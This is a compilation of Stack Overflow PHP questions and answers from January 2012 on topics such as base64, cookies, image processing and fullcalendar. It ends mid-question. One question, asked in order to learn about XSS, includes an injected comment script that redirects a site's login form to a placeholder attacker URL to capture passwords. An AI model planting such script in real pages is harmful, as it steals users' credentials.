Best php questions in January 2012

what are the differences between PHP base64_encode and *nix base64

22 votes

PHP's base64_encode is returning a different string to the linux base64 command. Why is this?

PHP:

$ php
<?php
echo base64_encode('test');
?>
dGVzdA==

Linux base64:

$ echo 'test' | base64
dGVzdAo=

echo usually outputs a new line character at the end of the string, to suppress that use the -n switch:

$ echo -n 'test' | base64
dGVzdA==

Similarly for PHP:

$ php
<?php
echo base64_encode("test\n");
?>
dGVzdAo=

Why is a `switch` considered a looping structure for the purposes of `continue`?

20 votes

I just got bit by assuming the following:

foreach ($arr as $key => $value) {
  switch($key) {
    // ... some other cases
    default:
      continue;
      // ^== assumption: move on to the next iteration of the foreach
      //     actual PHP: treat this continue just like a break
  }
  // ...
}

But in fact, according to the documentation for continue:

the switch statement is considered a looping structure for the purposes of continue.

Is there a reason for this choice on the part of PHP language designers? As far as I can tell, switch isn't a looping control structure, so why treat it like one in this case?

I think you won't find any real "reason" for this behavior.

The only real motivation behind this behavior was probably that implementing switch as if it were a looping structure allows PHP to reuse existing break and continue semantics of loops instead of reimplementing a special version for switch.

Or to phrase it more positively: It's for consistency.

PHP array comparison algorithm

17 votes

While trying to simulate a bit of PHP behaviour I stumbled across this:

    $a=array(0 => 1, 'test' => 2);
    $b=array('test' => 3, 0 => 1);
    var_dump($a==$b, $a>$b, $b>$a);

According to the output from var_dump $b is bigger than $a. In the PHP manual there is a Transcription of standard array comparison which states that the values of the arrays are compared one by one and if a key from the first array is missing in the second array, the arrays are uncomparable. So far so good. But if I try this (change in the first element of $a only):

    $a=array(0 => 2, 'test' => 2);
    $b=array('test' => 3, 0 => 1);
    var_dump($a==$b, $a>$b, $b>$a);

All three comparison results are false. This looks like "uncomparable" to me (because the > result is the same as the < result, while the arrays are not ==either, which makes no sense) but this does not fit the transcription from the PHP manual. Both keys are present in both arrays and I would expect $a to be bigger this time because the content of key 0 is bigger in $a (2 vs. 1).

I've tried to dig into the PHP source code and found zend_hash_compare() in zend_hash.c, but the code there seems to work as the manual describes.

What's going on here?

It would seem that the comparison loop is in the case of > done over the right hand array and in the case of < done over the left hand array, ie always over the supposedly "lesser" array. The order of the elements is significant as the foreach loop in the transcription code respects array order.

In other words;

$a>$b loops over b and finds 'test' first. 'test' is greater in $b so $b is greater and it returns false.

$b>$a loops over a and finds '0' first. '0' is greater in $a so $a is greater and it returns false.

This would actually make sense, the "greater" array is then allowed to contain elements that the "lesser" array doesn't and still be greater as long as all common elements are greater.

unable to install id3 for php - what is the good alternative?

13 votes

i have a website (personal site) where i upload my music. i am a dj in clubs and for my mix i use my site to manage my music i create.

so ultimately i want to create mix online so now i have a share hosting and i cannot install the mp3 id3 and i am looking for alternative.

i looked online and found a lot of custom classes where i can read id3 tags.

what i want to know is this:

is it better to use the one that comes with php (which means change my current host) or i should use a script (and which one is the best?)?

thanks

Installing a php module (even if it's as easy as yum install or apt-get install) is limited to what you get from the library. Also, if the ID3 change (like upgrading to a different version) you will have to wait for the library to be updated and re-install it again (unless you want to modify yourself of course).

The PHP library (yes might be a little slower) can be very useful when ID tag are upgraded or modified. You can easily change the PHP code to match what you need and rapidly be able to mange your music library.

I've tried many libraries and I recommend http://getid3.sourceforge.net/

Proper way to use "Remember me" functionality in PHP

11 votes

Short

Working on login system and trying to implement remember me feature.

Recently, l did research about this subject, read bunch of articles, posts, stories, novels, fairy tales (calling them so, because some of them doesn't contain even 1 line of code, just loads of words) about, cookie vulnerabilities such as fixation, hijacking ... etc.

And decided to achieve following targets

  1. To set time delay between login attempts (to prevent bruteforce attacks) and to limit attempts count
  2. To regenerate session id on nearly every operation

But I really confused about my main problem: which way is proper, for "remember me" feature? to use cookies/session/database?

And please explain your idea on code.(I can't understand clearly without code)

Detailed

Currently, my code looks like that

During sign-in I'm using following function to set cookies and session

protected function validateUser($userid, $ckey=0, $rememmber=0) {
    session_start();
    session_regenerate_id(true); //this is a security measure
    $_SESSION['user_id'] = $userid;
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
    if (isset($remember) && $rememmber == 'on') {
        setcookie("user_id", $_SESSION['user_id'], time() + 60 * 60 * 24 * COOKIE_TIME_OUT, "/");
        setcookie("user_key", sha1($ckey), time() + 60 * 60 * 24 * COOKIE_TIME_OUT, "/");
    }
    return true;
}

Then on secure user pages, checking for user_id using user_id to fetch all important data about user from db

public function protect() {
        session_start();

        /* Secure against Session Hijacking by checking user agent */
        if (isset($_SESSION['HTTP_USER_AGENT'])) {
            if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) {
                $this->signout();
                exit;
            }
        }

// before we allow sessions, we need to check authentication key - ckey and ctime stored in database

        /* If session not set, check for cookies set by Remember me */
        if (!isset($_SESSION['user_id'])) {
            if (isset($_COOKIE['user_id']) && isset($_COOKIE['user_key'])) {
                /* we double check cookie expiry time against stored in database */

                $cookie_user_id = $_COOKIE['user_id'];
                               $stmt = $this->db->prepare("select `ckey`,`ctime` from `users` where `id` =?") or die($this->db->error);
            $stmt->bind_param("i", $cookie_user_id) or die(htmlspecialchars($stmt->error));
            $stmt->execute() or die(htmlspecialchars($stmt->error));
            $stmt->bind_result($ckey, $ctime) or die($stmt->error);
            $stmt->close() or die(htmlspecialchars($stmt->error));
                // coookie expiry
                if ((time() - $ctime) > 60 * 60 * 24 * COOKIE_TIME_OUT) {
                    $this->signout();
                }
                /* Security check with untrusted cookies - dont trust value stored in cookie.       
                  /* We also do authentication check of the `ckey` stored in cookie matches that stored in database during login */

                if (!empty($ckey) && is_numeric($_COOKIE['user_id']) && $_COOKIE['key'] == sha1($ckey)) {
                    session_regenerate_id(); //against session fixation attacks.

                    $_SESSION['user_id'] = $_COOKIE['user_id'];
                    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
                } else {
                    $this->signout();
                }
            } else {
                if ($page != 'main') {
                    header('Location:' . wsurl);
                    exit();
                }
            }
        }

But I really confused about my main problem: which way is proper, for "remember me" feature? to use cookies/session/database?

Http is a stateless protocall. Authentication token must persist to keep the state. Proper way is to use session. Now how do you track the session? It's up to you. But cookies are not bad.

In the session you can save a hash created from browser different criteria(user agent, os, screen resolution etc) to check if the token is from same environment. The more criteria you save the more itll be harder to hijack. Btw you need JavaScript to grab ths extra information every time.

preg_match php street address

10 votes

I need to match using regular expression in php addresses like:

  • 144 street, city, state zip/postal code
  • 144 street, apt #1, city, state zip/postal code
  • 144 street apt #1, city state zip/postal code

The zip/postal code can includes letters and/or numbers.

Here's what I tried:

print_r(preg_match('/^([0-9]+)\s([a-z]+)\s([a-z]+)\s([a-z]+)\s([a-z0-9]+)$/i', $t, $m));
print_r($m);

it outputs:

Array
(
    [0] => 123 asd asd asd 123
    [1] => 123
    [2] => street
    [3] => city
    [4] => state 
    [5] => zip
)

This works using spaces only. When I have a comma it does not work and it result in an empty array.

What can I do to also includes commas?

Why not simply remove the comma and then use your regular expression?

also for alphanumeric zip you might need to add other chars than a-z0-9 since Canadian zip codes use space.

The other thing you will need to check is if a street has spaces in it like:

1000 NW One Way Drive

or

100 Rue Des Peupliers

your regular expression will not work. Same for City.

Using an API is good but you have to get the API for the countries you need. If you want to validate ALL of the country that can be painful.

ceejayoz has a good answer but what i think you should do is get the API for the top countries you get and then use the regex for everything else.

Rendering waveform in PHP - How to produce a more compressed render?

10 votes

I am rendering a waveform in PHP by downsampling it with the lame encoder and then drawing the waveform from the resulting data points. I am currently getting images like this:

enter image description here

What I would like to do is modify my code so that the apparent dynamic range of the waveform is essentially 'compressed'. To produce a waveform that looks more like this:

enter image description here

The equation I am currently using to render the height of each data point is as follows:-

 // draw this data point
          // relative value based on height of image being generated
          // data values can range between 0 and 255
           $v = (int) ( $data / 255 * $height );


          // don't print flat values on the canvas if not necessary
          if (!($v / $height == 0.5 && !$draw_flat))
            // draw the line on the image using the $v value and centering it vertically on the canvas
            imageline(
              $img,
              // x1
              (int) ($data_point / DETAIL),
              // y1: height of the image minus $v as a percentage of the height for the wave amplitude
              $height * $wav - $v,
              // x2
              (int) ($data_point / DETAIL),
              // y2: same as y1, but from the bottom of the image
              $height * $wav - ($height - $v),
              imagecolorallocate($img, $r, $g, $b)
            );      

With the actual amplitude being defined by the first line of this code:-

  $v = (int) ( $data / 255 * $height );

Unfortunately my math skill is poor at best. What I need to do is essentially apply a 'curve' to the value of $v so that when the number input into the equation is lower, the resulting output is higher and as the input number is increased the equation reduces the amplification until finally when the input reaches 255 the output should also be 255. Also the curve should be such so that with an input of 0 the output is also 0.

I apologise if this is not clear but I am finding this question very hard to articulate with my limited math experience.

Perhaps a visual representation would help describe my intent:-

enter image description here

When the value of $v is either 0 or 255 the output of the equation should be exactly the input (0 or 255). However, when the input is a value inbetween, it should follow the resulting output of the curve above. (the above was only a rough drawing to illustrate.)

EDIT:

Based on Alnitiks 'pow' function solution I am now generating waveforms that look like this:-

enter image description here

Using the replacement equation for the $v variable as follows:-

 $v = pow($data / 255.0, 0.4) * $height;

I have tried upping the 0.4 value but the result is still not as intended.

EDIT 2:

As requested here is a raw datadump of my $data variable:

Raw Data

This gets passed into the equation to return $v before being used to draw the waveform (you can see what I do to variable $v in the original code I posted above. $height is simple the number of pixels high I have set the image to render.

This data is a comma seperated list of values. I hope this helps. It appears your assertion that the mean value is 128 is correct. So far I have been unable to get my head around your correction for this. I'm afraid it is slightly beyond my current understanding.

With no math skills (and probably useful to have a speedy display):

You have 256 possible values. Create an array that contains the "dynamic" value for each of these values:

$dynamic = array(
   0 => 0,
   1 => 2,
   ...
);

That done, you can easily get the dynamic value:

$v = (int) ($dynamic[(int) $data / 255] * $height);

You might lose some precision, but it's probably useful.


Natural dynamic values are generated by the math sine and cosine functions, in PHP this sin­Docs (and others linked there).

You can use a loop and that function to prefill the array as well and re-use the array so you have pre-computed values:

$sine = function($v)
{
    return sin($v * 0.5 * M_PI);
};

$dynamic = array();
$base = 255;
for ($i = 0; $i <= $base; $i++)
{
    $dynamic[$i] = $i/$base;
}

$dynamic = array_map($sine, $dynamic);

I use a variable function here, so you can write multiple and can easily test which one matches your needs.

Migrating bad system into our current system with tons of data

10 votes

I inherited of a system when my company bought another company. This system is a mix of LAMP and .NET.

  1. 1 Windows server running asp.net that controls third-party validation used only for apis and webservice - (let's call it WIN)
  2. 8 LAMP servers (web, reports, cron, repositories etc...) - (let's call it NEW)

Our current environment:

14 LAMP servers (web, mail, repositories, etc...) - (let's call it CURRENT)

The good news is the NEW code is pretty straigt foward. A few millions lines of code (which most are apis, third party) and I can convert it to the CURRENT system. The NEW and CURRENT use both CentOs which will make the transision easy, except the Windows server that I have no idea what to do now.

Now the bad news. The NEW system database schema is not good at all. It is not normalized and the queries are slow (database queries and the code too). My first idea is to redesign them to a more normalized structure that matches the CURRENT code but I don't work. The tables from the NEW system are gigantic. The NEW system has 7 databases, over 10000 tables, the smallest tables have over 100k rows and some tables have over 500 millions rows. One of the database has most of the tables with over 25 millions rows each.

Is it safe to migrate or should I keep both running? If I should migrate I want to know what will the safest solution for me in order to migrate the Windows and NEW system into my CURRENT system?

First of all, moving the WIN + NEW systems into the CURRENT system will take time. so you have to make sure when you start migrating/converting everything, you know where you going. Migrating might not be an easy task and you can run into issues you never thought after you started the process.

Your idea of migrating the NEW system has pros and cons and you need to make sure it goes smoothly in order to get a good and reliable product at the end.

Pros:

  • only one system to maintain: you don't want to maintain 3 systems;
  • one code/database environement: PHP vs ASP.NET and MSSQL vs MySQL;
  • centralized code/database;
  • one coding (code and database) standard;
  • save/sell equiments (you will migrate the code to your 14 servers, maybe you don't need the other 9 (WIN+NEW), so you can sell or keep them for the next projects)

cons:

  • higher risk (crash, incompatibility, unknown feature you need to understand etc..);
  • cheaper than migrating or re-designing everything
  • risk of failure is lower than migration (since you already know both system works)
  • planning, control, implementation, quality assurance: very bad if one of these fail;
  • expensive: migrating can be expensive in time and money;

This is a big database, changing/optimizing this will take a significant investment in labor hours. This is not something you can easily do in few hours. This can take weeks maybe months in order to successfully migrate data to the CURRENT system without errors. If you can, you can start by migrating common or similarities from both database schema, like clients or products. This way, you import data that the CURRENT system can run without errors and also your code will recognise. The users of your CURRENT system can immediately start managing these items/records without issue. As of new or records your CURRENT system does not recognise, you can simply re-design these tables and migrate them to the CURRENT system (then update your current code).

As of code migration, if the code from the NEW system is good enough and match your standard you can keep it. This will save time in development, just make sure you update the queries and servers connections. On the other hand, if it's like spaghetti code, you will have to understand what the code do. This can also take a significant investment in labor hours. I can recommend here to standardize this one and organize your code the same way you organize it on the CURRENT one. You can centralize your code in one common folder using a common file and folder structure. You can put all your common libraries, 3rd parties etc.. there so when you call the CURRENT and the NEW code, it loads the same PHP class. This will make your ease your transitions from the NEW to CURRENT system. This way, you know all your required files at in the same place and very easy to maintain. Specially if your code requires required files that requires files. If you code is all around your servers, you can create an NFS if you like this idea.

Now, what I can suggest is to start with a Parallel Adoption . This way you make sure all systems are working properly and are healthy. Then slowly migrate data/code to the CURRENT system until everything is completed. This won't be easy and you have to identify which part of the NEW + WIN systems you have to migrate first. My recommendation will be to migrate the WIN system. Because this is independent of the CURRENT and NEW systems, as long you display the same output you should be fine. Search for open source or similar validations in PHP or if you can't find any, build them. This way this WIN system can easily be migrated to your current organization structure and coding standards. Performing tests and quality assurances will be easy and you can be completed very quickly.

Once this WIN is migrated, you need to identify what you need to transfer first to the CURRENT system. For example, if the NEW and CURRENT system has "clients", gather all the information from the NEW system and move them to the CURRENT system using a script (manually or scripted). Then, you can migrate clients elements like products, billing statement or any other records that are related to these clients). Repeat these steps until all the data are migrated. This way, you don't have to re-design any tables or change any codes from the NEW system, everything is saved on the CURRENT system and everything works correctly.

I won't recommend the big bang adoption for this case .

php gd pixelate too sharp

10 votes

i have this script for pixelize my images the script is working but i want more smooth edges:

$imgfile = 'batman.jpg';
$image = ImageCreateFromJPEG($imgfile);
$imagex = imagesx($image);
$imagey = imagesy($image);
$pixelate_amount = 10;
$tmpImage = ImageCreateTrueColor($imagex, $imagey);
imagecopyresized($tmpImage, $image, 0, 0, 0, 0, round($imagex / $pixelate_amount), round($imagey / $pixelate_amount), $imagex, $imagey);
$pixelated = ImageCreateTrueColor($imagex, $imagey);
imagecopyresized($pixelated, $tmpImage, 0, 0, 0, 0, $imagex, $imagey, round($imagex / $pixelate_amount), round($imagey / $pixelate_amount));
header("Content-Type: image/jpeg");
imageJPEG($pixelated, "", 100);

I have:

before

this produce:

after

is there anything i miss?

Here's what you need (script I currently use). This script is based from the script at http://www.talkphp.com/19670-post1.html:

function convertToPixel($im, $size) {
  $size = (int)$size;
  $sizeX = imagesx($im);
  $sizeY = imagesy($im);

  if($sizeX < 3 && $sizeX < 3) { // or you can choose any size you want
    return;
  }
  for($i = 0;$i < $sizeX; $i += $size) {
    for($j = 0;$j < $sizeY; $j += $size) {
      $colors = Array('alpha' => 0, 'red' => 0, 'green' => 0, 'blue' => 0, 'total' => 0);
      for($k = 0; $k < $size; ++$k) {
        for($l = 0; $l < $size; ++$l) {
          if($i + $k >= $sizeX || $j + $l >= $sizeY) {
            continue;
          }
          $color = imagecolorat($im, $i + $k, $j + $l);
          imagecolordeallocate($im, $color);
          $colors['alpha'] += ($color >> 24) & 0xFF;
          $colors['red'] += ($color >> 16) & 0xFF;
          $colors['green'] += ($color >> 8) & 0xFF;
          $colors['blue'] += $color & 0xFF;
          ++$colors['total'];
        }
      }
      $color = imagecolorallocatealpha($im,  $colors['red'] / $colors['total'],  $colors['green'] / $colors['total'],  $colors['blue'] / $colors['total'],  $colors['alpha'] / $colors['total']);
      imagefilledrectangle($im, $i, $j, ($i + $size - 1), ($j + $size - 1), $color);
    }
  }
}
header('Content-type: image/jpg');
$im = imagecreatefromjpeg($imgfile);
convertToPixel($im, 15);
imagejpeg($im, '', 100);

This will produce:

smooth

You can also change the value passed in convertToPixel to modify the pixel size. )

fullcalendar several issues

10 votes

Hello,
I am using fullcalendar v1.5.2 (only month view ) for property booking website , its a great plugin but i stuck in few problems, I have seen similar issues on google code , but there is nothing clear really. :( . please help me to solve these problems

Here is working demo and JS Code

What i have done so far

  • Fetched events data from two different json files below

    • json_events.php : this holds booking detail which is booked from front end by user; admin can not change any details of these type of events.

    • new_charges.php : this holds special charges events detail ,admin add/update delete the new charges for any future date(s) .

  • admin can view the details of any event when he click on an event

  • admin can add/edit and delete new events on calendar for future dates or range of dates, that will stored on new_charges.php

Now here is my problems.

a) I want that only one event is allowed for a date(s).

b) Currently if user click on a day on which any booking event or special charges event is there, then it alerts that day is booked, but after that it will show a prompt box to enter event title,

this is occured because I have used both dayClick and select methods

How do i stops further propagation if a day already have an event ?

c) suppose a day 15 january (wrapped by fc-day17 div) is booked ( I have applied a class booked for events ) and now when I go to next month and click on fc-day17 div, it also alert that day is booked whereas there is no booking by examining the code i found that it still have the class booked for another months for the same divs

I think there is something missing during eventRender methods?

does `eventRender()`  method is called only once when initialize the calendar 
or each time when we go `prev` or `next` month?

d) I have changed background-color for special charges events during rendering events via json file, but when I delte that events, it does not change back the normal background and still say that day is booked.

how do I make default background of a date if I delete the events of that day??

e) how to hide all events related to previous months?

// a) and b)
// We dont need dayClick event, only select
// I think you created calender something like this 
// var calendar = $('#calendar').fullCalendar({ ... })

select: function(start, end, allDay) {
    //debugger;
    var events = calendar.fullCalendar( 'clientEvents' );
    for (var i = 0; events.length > i ; i++){
        //If we have 1 day event
        if((events[i].end == null && (events[i].start.getTime() >= start.getTime() && events[i].start.getTime() <= end.getTime())) ||
        // If we have many days event 
        (events[i].end != null && ((events[i].start.getTime() >= start.getTime() && events[i].start.getTime() <= end.getTime()) || 
            (events[i].end.getTime() >= start.getTime() && events[i].start.getTime() <= end.getTime()) || 
            (events[i].start.getTime() <= start.getTime() && events[i].end.getTime() >= end.getTime())) 
        )){
            alert("Realy busy!!!");
            return;
        }
    }
    // If this time is not busy, for example, we promt to enter Event Title
    var title = prompt('Event Title:');
    if (title) {
       //............Adding event into calendar
    }
    calendar.fullCalendar('unselect');
},
// c) and d)
// This is invoked when we navigate throw the month callender 
eventAfterRender: function(event, element, view ){
    $(".booked").removeClass(".booked"); // Remove all booked class from element
    var elements = $(".fc-widget-content:not(.fc-other-month)").filter(function(){
        //We try to find day number witch corresponds to the event date
        return (event.end == null && $(this).find(".fc-day-number").text() == event.start.getDate()) //If we have 1 day event
            || (event.end != null && $(this).find(".fc-day-number").text() >= event.start.getDate() // If we have many day event
            &&  $(this).find(".fc-day-number").text() <= event.end.getDate())
    });
    elements.addClass("booked");

    // e)
    // Hide all events related to previous and next months
    // If we event ends in previous month or starts in next we dont show it!
    if(
        (event.end == null && (view.start.getMonth() != event.start.getMonth())) //If we have 1 day event
        || (event.end != null && (view.start.getMonth() > event.end.getMonth() // If we have many day event
        || view.start.getMonth() < event.start.getMonth())) 

    ){
        $(element).hide();
    }
}

EDIT This construction

var elements = $(".fc-widget-content:not(.fc-other-month)").filter(function(){
    //We try to find day number witch corresponds to the event date
    return (event.end == null && $(this).find(".fc-day-number").text() == event.start.getDate()) //If we have 1 day event
        || (event.end != null && $(this).find(".fc-day-number").text() >= event.start.getDate() // If we have many day event
        &&  $(this).find(".fc-day-number").text() <= event.end.getDate())
});

meansthat we select days of current month (:not(.fc-other-month)) which satisfy the filter conditions (return true) : The days of month equal the days of events

About your code as I said you must remove dayClick event, and your select event is:

select: function (startDate, endDate, allDay, jsEvent) {
    // This is my addition //
        var events = calendar.fullCalendar( 'clientEvents' );
        for (var i = 0; events.length > i ; i++){
            //If we have 1 day event
            if((events[i].endDate == null && (events[i].start.getTime() >= startDate.getTime() && events[i].start.getTime() <= endDate.getTime())) ||
            // If we have many days event 
            (events[i].endDate != null && ((events[i].start.getTime() >= startDate.getTime() && events[i].start.getTime() <= endDate.getTime()) || 
                (events[i].end.getTime() >= startDate.getTime() && events[i].start.getTime() <= endDate.getTime()) || 
                (events[i].start.getTime() <= startDate.getTime() && events[i].end.getTime() >= endDate.getTime())) 
            )){
                alert('Sorry this date is already taken');
                return;
            }
        }

        // /This is my addition //      
    console.dir(jsEvent);
    if (liveDate > startDate) {
        alert('This date has been passed');
        return false;
    } else {
        var title = prompt('New Charges:');
        if (title) {
            calendar.fullCalendar('renderEvent', {
                        title: title,
                        start: startDate,
                        end: endDate,
                        allDay: allDay
                    }, false // make the event "unstick"
                    );
                    var startDateString = $.fullCalendar.formatDate(startDate, 'yyyy-MM-dd');
                    var endDateString = $.fullCalendar.formatDate(endDate, 'yyyy-MM-dd');
                    $.ajax({
                        type: 'POST',
                        url: './new_event.php?action=add',
                        data: {
                            startDate: startDateString,
                            endDate: endDateString,
                            eventTitle: title,
                            propID: propID
                        },
                        dateType: 'json',
                        success: function (resp) {
                            calendar.fullCalendar('refetchEvents');
                        }
                    });
                } // end of inner if
            } // end of else
            calendar.fullCalendar('unselect');
},

About viewDisplay. Its is fired every time when we go to previous or next month, and it fired after eventAfterRender. If we use eventAfterRender and go to month without events we have no effect. The free cells stay booked. I offer analyse events of current month inviewDisplay:

function viewCalDisplay(view) {

//...................
// Your code

            $(".booked").removeClass("booked"); // Remove all booked class from element
            var events = view.calendar.clientEvents(function(event){  
                //we need only events of current month
                return event.start.getMonth() == view.start.getMonth(); 

            } );

            for(i = 0; events.length > i; i++){
                var event = events[i];
                // We need only days of current month. We select <td> of calender table (by class .ui-widget-content)
                var elements = $(".ui-widget-content:not(.fc-other-month)").filter(function(){
                    //We try to find day number witch corresponds to the event date
                    return (event.end == null && $(this).find(".fc-day-number").text() == event.start.getDate()) //If we have 1 day event
                        || (event.end != null && $(this).find(".fc-day-number").text() >= event.start.getDate() // If we have many day event
                        &&  $(this).find(".fc-day-number").text() <= event.end.getDate())
                });

                elements.addClass("booked"); //Only for this <td> 
            }
}

How to use Imagick to merge and mask images?

9 votes

I know very little of image processing and even less of the terminology used, so please bear with me.

Basically, I want to merge two images together where one of them will act as a mask. That image looks something like this:
Example
Where the blue and yellow background are both transparent in reality.

This image is being used as a mask for regular photo's. Parts of the photo that 'stick out' of the circle need to be 'cropped' (be made invisible) while the inside remains visible.
So everything that comes in the blue area is invisible, everything in the yellow area is visible.

I honestly have no clue how to go about it so any help would be greatly appreciated!

Edit:
I use the API version of Imagick, not the commandline version

Edit:
To get a feel of what I want to achieve, here is an example.

The input images are thus:
enter image description here
This is the mask image, always the same

enter image description here
This is an example of a picture, dynamic

enter image description here
This is what the end result should look like

So, finally, this should do what you need:

Original image:

http://i.stack.imgur.com/b7seR.png

Opacity mask:

enter image description here

Overlay:

http://i.stack.imgur.com/3ulkM.png

Output:

enter image description here

The code:

<?php
$base = new Imagick('U0R4F.png');
$mask = new Imagick('mask.png');
$over = new Imagick('3ulkM.png');

// Setting same size for all images
$base->resizeImage(274, 275, Imagick::FILTER_LANCZOS, 1);

// Copy opacity mask
$base->compositeImage($mask, Imagick::COMPOSITE_DSTIN, 0, 0, Imagick::CHANNEL_ALPHA);

// Add overlay
$base->compositeImage($over, Imagick::COMPOSITE_DEFAULT, 0, 0);

$base->writeImage('output.png');
header("Content-Type: image/png");

echo $base;
?>

I hope it's right now! Note: In your example it looks like you downscaled the base image, which I didn't (my goal is just to show how the masking is done).

Understanding class required and exist

9 votes

I download a framework and code and I have a question regarding require and include vs class_exists.

In the code I download, I see:

require_once('class.php');

As well as:

if(class_exists('class') == false) {  require('class.php'); }

I get require_once means only 1 time and class exists check if the class exists.

My question is: is the second better than the first one? and why?

this condition:

if(class_exists('class') == false) {  require('class.php'); }

prevent the require_once to be called.

require_once can be slow if you have a lot of files you include in your project (specially frameworks) because they have to scan the code to make sure the file is not included twice or more. so if you have over 25 file you include and they are nested, require_once will have to check all of them.

Does including PHP files that contain functions in it slow the pages with those included even if not being used?

9 votes

That's basically all my question is, if I have php pages that have 5,000-10,000 lines of code for a certain purpose, in my case image upload management (cropping and such), would it slow down the rest of my documents to include them on each page that doesn't use them? Basic logic tells me it of course would, but at the same time I'm not an expert, so I don't know if php acts differently than I may understand.

include and require statements makes PHP also compile/interpret the files that you include. That does cost some computation but in 99 % of cases it won't matter... unless your site is very popular and saving that computation time is important. If that is the case, you can solve this very easily by using so called PHP Accelerators (like XCache or APC). These can be installed along with your PHP installation and cache in RAM all the compiled opcode from your php scripts. Improvements with this solution vary between 40 and 75 %.

Can we set a cookie in php according to client's time?

9 votes

I have following requirements:

  1. create a cookie for server domain
  2. that cookie will expire in x seconds say in 200 or 500 seconds.

Problem is, that clients can lag as much as many minutes behind server. On server side I am setting cookie as

setcookie($cooName,$cooVal,time()+500,"/");

but now if client computer is 500 seconds behind server, above code will effect into a cookie which will expire in 1000 seconds not 500 seconds.

I was thinking to send client's time stamp to server and set cookie on that time. something like this:

setcookie($cooName,$cooVal,$_GET['clientTS']+500,"/");

But if client is 500 seconds behind, and if I set such a cookie which is backdated it does not get set. How to achieve a time sync between client and server in case of cookie expiry?

Unfortunately, Expires is an absolute date and depends on the user agent’s local date. As you have concluded correctly, this could lead to an inaccurate cookie expiry.

This is also the reason why IETF’s first standardization of Netscape’s original proposal, replaced the absolute expiration date by a relative expiration date, the Max-Age attribute that specified the time in delta seconds from the point in time the cookie has been issued. RFC 2965, that obsoleted RFC 2109, did the same. Just as RFC 6265, that is currently the most recent specification for cookies.

Cookies as per RFC 6265 do also allow to specify the expiry date by both a relative date using Max-Age and a absolute date using Expires, the latter primarily for backwards compatibility:

If a cookie has both the Max-Age and the Expires attribute, the Max-Age attribute has precedence and controls the expiration date of the cookie.

So you could write your own function that mimics this behavior:

$maxage = 12345;
$expires = date(DATE_COOKIE, time()+$maxage);
header("Set-Cookie: $name=$value, Expires=$expires, Max-Age=$maxage, …");

Here’s an example function:

function set_cookie($name, $value=null, $maxage=null, $path=null, $domain=null, $secure=false, $httponly=false) {
    $cookie = rawurlencode($name) . '=' . rawurlencode($value);
    $attributes = array();
    if (!is_null($maxage)) {
        $maxage = intval($maxage);
        $attributes[] = 'Expires='.date(DATE_COOKIE, $maxage > 0 ? time()+$maxage : 0);
        $attributes[] = 'Max-Age='.$maxage;
    }
    if (!is_null($path)) {
        $attributes[] = 'Path='.rawurlencode($path);
    }
    if (!is_null($domain)) {
        $attributes[] = 'Domain='.rawurlencode($domain);
    }
    if ($secure) {
        $attributes[] = 'Secure';
    }
    if ($httponly) {
        $attributes[] = 'HttpOnly';
    }
    header('Set-Cookie: '.implode('; ', array_merge(array($cookie), $attributes)), false);
}

command line script php does not run

8 votes

i am trying to build a php script to process data manually to later convert it to a cronjob. this script also get data from mysql and 3rd party soap. when i try to run it from command line i have an error and the script does not run.

it shows:

./test.php: line 1: ?php: No such file or directory
Enter a number:
./test.php: line 5: syntax error near unexpected token `('
./test.php: line 5: `$line = trim(fgets(STDIN));'

here's what i have in my script:

 echo 'Enter a number:';
  $line = trim(fgets(STDIN));
  var_dump($line);

i know this script works, what is wrong?

You get this error because you execute this script like ./script.php. In order to make sure the PHP script understand and run properly, you have to include this #!/usr/bin/php at the top of your script.

Example:

#!/usr/bin/php
<?php
echo 'Enter a number:';
$line = trim(fgets(STDIN));
var_dump($line);

if PHP is installed in the /usr/bin folder, if not, you can verify using the locate php command and then use the right path.

or the other alternative will be

php /path/to/script.php

Is this an example of an XSS attack?

8 votes

I'm a PHP developer and I'm looking to improve the security of my sites.

From what I understand the following are two major types of vulnerabilities which affect web applications:

  • SQL Injection
  • XSS

SQL Injection can be fixed with prepared statements - easy.

But I still don't really get XSS - is the following an example of XSS?...

  • Page full of user-made content has a login form at the top (site-wide).
  • The user's input to the page is not HTML-escaped.
  • A user posts the following content (e.g. a comment) to the page...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • An innocent user comes to the page, the script executes.
  • The innocent user realises they're not logged in, and enter their details into the form.
  • The user's details are sent off to http://somehackysite.com/givemyourpw.php and then the user's account details are stolen.

So I really have three questions here:

  1. Would this work?
  2. Is this XSS?
  3. Are there any precautions developers should take against XSS other than escaping HTML?

There are two types are XSS attacks: Reflected XSS and Persistent XSS attacks. What you've described, where a user of the site inputs data that gets saved on the server side, and is rendered for anyone viewing a page, is considered Persistent XSS. Similar attacks would be if you have a comment box on a post that doesn't escape Javascript, or a profile page I can put anything into.

The other class of XSS attacks is Reflected XSS. These are a little more complicated, but they amount to one of the arguments in the URL for a page not being escaped. They frequently come up in things like Search pages on large websites. You'll get a URL that includes some javascript in it (sorry, my example got mangled by the renderer here, so I can't show you an example) , and the page will render the javascript which would allow someone to craft a malicious URL. These are especially dangerous on sites that hand any sort of financial data; imagine a conscientious user who always checks to make sure the they're going to the write link to their bank, but because of a Reflected XSS attack an attacker is able to send them to a legitimate page on their bank's website, but that has malicious code in it.

In any case, your example is Persistent XSS. You can do even more nefarious things with attacks like that than just changing where a login form sends users. They've been popular for years to do things like scraping information from personal areas of sites, or coupled with CSRF to cause an authenticated user to do something by simply looking at a page. There were a few MySpace viruses a while back that did that, and spread from profile to profile.

Missing results due to geo proximity formula (store locator)

7 votes

OK - I've been wrestling with this for about 3 months on and off and since I've exhausted every geo proximity formula out there that I've come across and I'm no closer to getting the right results I figured it time to ask for some help.

THE AIM

I'm setting up a fairly basic implementation of a store locator. The user enters their postcode and selects from a predefined list of search radii. The gmaps API generates lat/long coordinates for this address and passes them to a php script. In this script the user coords are queried against a mysql database table (structure below)

post_id int(11)                             
post_type varchar(20)                                
lat   float(10,6)                               
lng   float(10,6)

The results of this query (post ids) are entered into a wordpress query which generates the XML that contains the map marker data. (the wordpress query uses post__in and posts_per_page -1 to display info for all ID generated by the query

THE PROBLEM

